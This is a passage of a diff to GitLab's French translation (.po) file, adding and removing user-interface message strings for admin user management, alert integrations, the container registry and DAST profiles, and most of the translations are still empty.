-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} branche"
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr "Profil de %{user_name}"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr "Pour confirmer, veuillez saisir %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Pour confirmer, veuillez saisir %{username}"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr "Autoriser l’accès public aux pipelines et aux détails des tâches, y
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "Permettre le rendu des diagrammes PlantUML dans les documents Asciidoc."
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "Une erreur est survenue"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,18 +3126,21 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr "Une erreur s’est produite lors de la récupération des projets"
-msgid "An error occurred while importing project: %{details}"
-msgstr "Une erreur est survenue lors de l’importation du projet : %{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "Une erreur est survenue lors de l’initialisation des verrous des chemins d’accès"
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr ""
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr "Une erreur s’est produite lors de la prévisualisation de la bannière
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr "Une erreur est survenue lors de l’abonnement aux notifications."
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "Une erreur est survenue lors de la mise à jour du commentaire"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Êtesâ€vous sûr·e de vouloir supprimer ce pipeline programmé ?"
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr "Êtesâ€vous sûr(e) de vouloir supprimer cette identité ?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "Êtesâ€vous sûr·e de vouloir réinitialiser le jeton d’inscription ?"
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr "Paramètres CI / CD (intégration et livraison continues)"
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Annuler"
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Veuillez vérifier la %{docs_link_start}documentation%{docs_link_end}."
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "Choisissez une branche ou une étiquette (par exemple %{master}) ou entrez un commit (par exemple %{sha}) pour voir ce qui a changé ou pour créer une demande de fusion."
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Choisissez le groupe de premier niveau pour vos importations dans le dépôt."
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "est indisponible : %{reason}"
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr "Fermer"
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr "Clore l’épopée"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} a été installé avec succès sur votre grappe de serveurs Kubernetes"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificat d’autorité de certification"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr "Groupe de la grappe de serveurs"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr "En savoir plus sur les grappes de serveurs Kubernetes de groupe"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr "Message du commit"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr "Personnaliser les couleurs"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr "Personnalisez la manière dont les adresses de courriel et les noms d’utilisateur provenant de FogBugz sont importés dans GitLab. À la prochaine étape, vous pourrez sélectionner les projets que vous souhaitez importer."
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr "Personnalisez la manière dont les adresses de courriel et les noms d’utilisateur provenant de Google Code sont importés dans GitLab. À la prochaine étape, vous pourrez sélectionner les projets que vous souhaitez importer."
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
